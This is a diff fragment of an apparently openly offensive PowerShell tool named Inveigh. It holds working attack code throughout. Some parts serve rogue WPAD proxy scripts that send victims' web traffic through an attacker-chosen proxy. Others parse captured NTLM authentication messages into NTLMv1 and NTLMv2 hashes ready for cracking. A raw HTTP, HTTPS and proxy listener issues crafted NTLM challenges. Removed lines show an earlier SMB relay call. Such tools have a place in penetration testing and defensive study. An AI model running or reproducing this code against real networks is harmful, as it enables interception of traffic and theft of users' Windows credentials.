$WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + } + + if($WPADResponse -and $Proxy -eq 'N') + { + $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + } + elseif($WPADResponse -and $Proxy -eq 'Y') + { + $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null + } + + } + elseif($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Response = Enabled") > $null + $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + if($WPADDirectHosts) { ForEach($WPAD_direct_host in $WPADDirectHosts) @@ -640,27 +1130,19 @@ if($inveigh.HTTP -or $inveigh.HTTPS) $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } - $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null + $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } else { - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" } } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + elseif($WPADDirectFile -eq 'Y') { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - $inveigh.WPAD_response = $WPADResponse - } - else - { - if($WPADEmptyFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response Enabled") > $null - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } + $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" } if($Challenge) @@ -672,7 +1154,7 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -680,9 +1162,18 @@ else $inveigh.machine_accounts = $true } -if($ConsoleOutput -eq 'Y') +if($ConsoleOutput -ne 'N') { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null + + if($ConsoleOutput -eq 'Y') + { + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + } + $inveigh.console_output = $true if($ConsoleStatus -eq 1) @@ -704,7 +1195,7 @@ else } else { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null } } @@ -720,13 +1211,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null $inveigh.status_queue.Add("Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -738,6 +1229,11 @@ else $inveigh.file_unique = $false } +if($RunCount) +{ + $inveigh.status_queue.Add("Run Count = $RunCount") > $null +} + if($RunTime -eq 1) { $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null @@ -747,69 +1243,60 @@ elseif($RunTime -gt 1) $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null } -if($SMBRelay -eq 'N') +if($ShowHelp -eq 'Y') { - - if($ShowHelp -eq 'Y') - { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - + if($inveigh.console_output) + { + $inveigh.status_queue.Add("Press any key to stop real time console output") > $null } - if($inveigh.status_output) +} + +if($inveigh.status_output) +{ + + while($inveigh.status_queue.Count -gt 0) { - while($inveigh.status_queue.Count -gt 0) + switch -Wildcard ($inveigh.status_queue[0]) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} { - switch ($inveigh.status_queue[0]) + if($inveigh.output_stream_only) { - - "Run Stop-Inveigh to stop Inveigh" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.status_queue[0]) } + $inveigh.status_queue.RemoveAt(0) + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.status_queue[0]) + } + + $inveigh.status_queue.RemoveAt(0) } } } -} -else -{ - try - { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp - } - catch - { - $inveigh.running = $false - throw "Invoke-InveighRelay is not loaded" - } + } # Begin ScriptBlocks @@ -817,6 +1304,7 @@ else # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { + function DataToUInt16($field) { [Array]::Reverse($field) @@ -829,24 +1317,45 @@ $shared_basic_functions_scriptblock = return [System.BitConverter]::ToUInt32($field,0) } - function DataLength + function DataLength2 { param ([Int]$length_start,[Byte[]]$string_extract_data) - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) return $string_length } function DataToString { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } + + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + } # SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response @@ -861,7 +1370,7 @@ $SMB_NTLM_functions_scriptblock = $payload = $payload -replace "-","" $NTLM_index = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") { $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) } @@ -875,98 +1384,124 @@ $SMB_NTLM_functions_scriptblock = $payload = [System.BitConverter]::ToString($payload_bytes) $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - $NTLM_bytes_index = $NTLM_index / 2 + $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLM_index + 16),8) -eq "03000000") + if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") { - $LM_length = DataLength ($NTLM_bytes_index + 12) $payload_bytes - $LM_offset = $payload_bytes[($NTLM_bytes_index + 16)] + $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 - if($LM_length -ge 24) + $LM_length = DataLength2 ($NTLMSSP_offset + 12) $payload_bytes + $LM_offset = DataLength4 ($NTLMSSP_offset + 16) $payload_bytes + $LM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" + + $NTLM_length = DataLength2 ($NTLMSSP_offset + 20) $payload_bytes + $NTLM_offset = DataLength4 ($NTLMSSP_offset + 24) $payload_bytes + $NTLM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" + + $domain_length = DataLength2 ($NTLMSSP_offset + 28) $payload_bytes + $domain_offset = DataLength4 ($NTLMSSP_offset + 32) $payload_bytes + $NTLM_domain_string = DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $payload_bytes + + $user_length = DataLength2 ($NTLMSSP_offset + 36) $payload_bytes + $user_offset = DataLength4 ($NTLMSSP_offset + 40) $payload_bytes + $NTLM_user_string = DataToString ($NTLMSSP_offset + $user_offset) $user_length $payload_bytes + + $host_length = DataLength2 ($NTLMSSP_offset + 44) $payload_bytes + $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes + $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes + + if($NTLM_length -gt 24) { - $NTLM_length = DataLength ($NTLM_bytes_index + 20) $payload_bytes - $NTLM_offset = $payload_bytes[($NTLM_bytes_index + 24)] - $NTLM_domain_length = DataLength ($NTLM_bytes_index + 28) $payload_bytes - $NTLM_domain_offset = DataLength ($NTLM_bytes_index + 32) $payload_bytes - $NTLM_domain_string = DataToString $NTLM_domain_length 0 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_user_length = DataLength ($NTLM_bytes_index + 36) $payload_bytes - $NTLM_user_string = DataToString $NTLM_user_length $NTLM_domain_length 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_host_length = DataLength ($NTLM_bytes_index + 44) $payload_bytes - $NTLM_host_string = DataToString $NTLM_host_length $NTLM_user_length $NTLM_domain_length ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes + $NTLMv2_response = $NTLM_response.Insert(32,':') + $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - if(([System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $LM_length - 1)]) -replace "-","") -eq ("00" * $LM_length)) + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - $NTLMv2_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $NTLM_offset)..($NTLM_bytes_index + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - $NTLMv2_response = $NTLMv2_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv2_list.Add($NTLMv2_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") } - } - else - { - $NTLMv1_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $NTLM_length + $LM_length - 1)]) -replace "-","" - $NTLMv1_response = $NTLMv1_response.Insert(48,':') - $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLMv1_response + ":" + $NTLM_challenge + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv1_list.Add($NTLMv1_hash) + $inveigh.NTLMv2_list.Add($NTLMv2_hash) - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) + $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } - if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - + if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) } } - if ($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + } + elseif($NTLM_length -eq 24) + { + $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + $inveigh.NTLMv1_list.Add($NTLMv1_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) + $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + } } @@ -977,339 +1512,688 @@ $SMB_NTLM_functions_scriptblock = } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener $HTTP_scriptblock = { - param ($HTTPAuth,$HTTPBasicRealm,$WPADAuth) + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, + $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) function NTLMChallengeBase64 { + param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - if($inveigh.challenge) + if($Challenge) { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else { $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + + if($NTLMESS) + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a + } + else + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a + } $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a + 0x00,0x00,0x00 + + $HTTP_NTLM_negotiation_flags + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM = "NTLM " + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge return $NTLM } - $HTTP_raw_url_output = $true - - while($inveigh.running) + if($HTTPS_listener) { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $NTLM = 'NTLM' - $NTLM_auth = $false - $Basic_auth = $false - - if($inveigh.request.IsSecureConnection) + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") } - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) + if($inveigh.log_output) { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") } - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.GetValues('Authorization') - - if($authentication_header.StartsWith('NTLM ')) + } + + :HTTP_listener_loop while($inveigh.running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if($HTTP_request_bytes[8] -eq 1) - { - $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 - } - elseif($HTTP_request_bytes[8] -eq 3) + + Start-Sleep -m 10 + + if(!$inveigh.running) { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - 